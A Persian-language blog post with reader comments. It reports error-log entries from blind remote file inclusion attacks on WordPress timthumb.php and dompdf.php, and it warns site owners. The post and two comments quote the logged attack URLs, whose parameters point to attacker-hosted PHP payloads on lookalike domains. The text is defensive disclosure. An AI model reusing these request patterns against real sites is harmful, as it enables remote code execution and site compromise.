عنوان: **اجرای کد از راه دور**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۱/۱۶ ۱۰:۲۰
آدرس: www.dotnettips.info
برچسب‌ها: Security, PHP

مدتی هست که با بررسی لاگ‌های خطای برنامه سایت، به این نوع لینک‌ها(ی یافت نشد) می‌رسم:

```
http://www.thissite.info/wp-
themes_page/netweb/timthumb.php?src=http://wordpress.com.4creatus.com/info.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http://picasa.com.ganesavaloczi.hu/jos.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http%3A%2F%2Fflickr.com.topsaitebi.ge%2Fcpx.p
hp
http://www.thissite.info/pivotx/includes/timthumb.php?src=http%3A%2F%2Fpicasa.com.fm-
pulizie.it%2Fxgood.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http%3A%2F%2Fflickr.com.showtimeentertainment
.ca%2Fstunxx.php
```

و نکته جالب این‌ها، وجود خارجی داشتن سایتی مانند http://wordpress.com.4creatus.com/ است. ابتدای نام دومین را هم با wordpress.com یا flickr.com شروع کرده‌اند تا آنچنان مشکوک به نظر نرسد.
به نظر این مساله باگی است در فایل timthumb.php بلاگ‌های وردپرس که دارد مورد سوء استفاده واقع می‌شود. به عبارتی این فایل خاص، به علت داشتن باگ امنیتی، امکان اجرای کد از راه دور را فراهم کرده است. برای نمونه اگر به آدرس مذکور مراجعه کنید فایل‌های php آن قابل دریافت و بررسی هستند. این فایل‌ها در ابتدای کار دارای هدر Gif بوده و در ادامه دارای کد PHP هستند. کدهای آن هم ابتدا base64 encoded شده‌اند و سپس gzip encoded.

در کل جهت اطلاع کلیه کسانی که از وردپرس استفاده می‌کنند برای بررسی وضعیت سایت یا بلاگ خودشان.

نظرات خوانندگان

نویسنده: آرش
تاریخ: ۱۳۹۲/۰۱/۱۶ ۲۱:۵۸

درود
ممکن است قدری بیشتر توضیح دهید، من تقریبا چیزی دستگیرم نشد
با سپاس

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۱/۱۶ ۲۲:۸

timthumb.php remote code execution را در گوگل جستجو کنید.

نویسنده: محمد صادق شاد
تاریخ: ۱۳۹۲/۰۱/۱۷ ۱۸:۲۹

امروز یکی از همکاران متوجه یه همچین مشکلی شد. دلیلشم استفاده از قالب‌های اماده (غالبا دارای کدهای مخرب) بود.

نویسنده: رضوی
تاریخ: ۱۳۹۲/۰۱/۱۸ ۱۶:۳۸

سلام
به این روش RFI یا Remote File Inclusion گفته می‌شود.
مشکل از جایی ناشی می‌شود که برنامه نویس در کد خود include را به صورت پارامتری از ورودی قرار داده است. البته اگر Remote File Include در تنظیمات PHP غیر فعال باشد با استفاده از این روش هکر نمی‌تواند کاری انجام دهد(حتی با وجود باگ در کد)
برای بررسی phpinfo را چک کنید

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۱/۲۵ ۱۲:۲۸

سعی و خطای جدیدی که لاگ شده:

```
path : \dompdf\dompdf.php
QUERY_STRING  input_file=http://miroslavmorant.com/tutoriales/wp-content/plugins/contact-form-7/images/id.flv???
```

نتیجه: فایل dompdf.php نیز احتمالا مشکل امنیتی دارد. بررسی کنید.

نویسنده: محمد باقر سیف اللهی
تاریخ: ۱۳۹۲/۰۱/۲۵ ۲۱:۵۱

مورد مشابهی که برای لاگ‌های من نیز پیش آمد :

```
/themes/Fkthemes/thumb.php?src=http://flickr.com.tecnobotica.com/bad.php

/wp-content/themes/Fkthemes/thumbopen.php?src=http://flickr.com.tecnobotica.com/bad.php
```

نویسنده: علیرضا
تاریخ: ۱۳۹۲/۰۱/۲۶ ۹:۲۰

با سلام؛ سایت شما با asp.net مگه نوشته نشده ؟! پس این لاگها و وردپرس ارتباطشون رو با سایت شما متوجه نمی‌شم !

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۱/۲۶ ۱۰:۴

اخبار مرتبط رو دنبال می‌کنید؟ خبر از یک سری حملات گسترده بود ... یعنی حملاتی کور ... سعی می‌کنند و باز هم سعی می‌کنند، خیلی از جاها، شاید چند جایی جواب داد.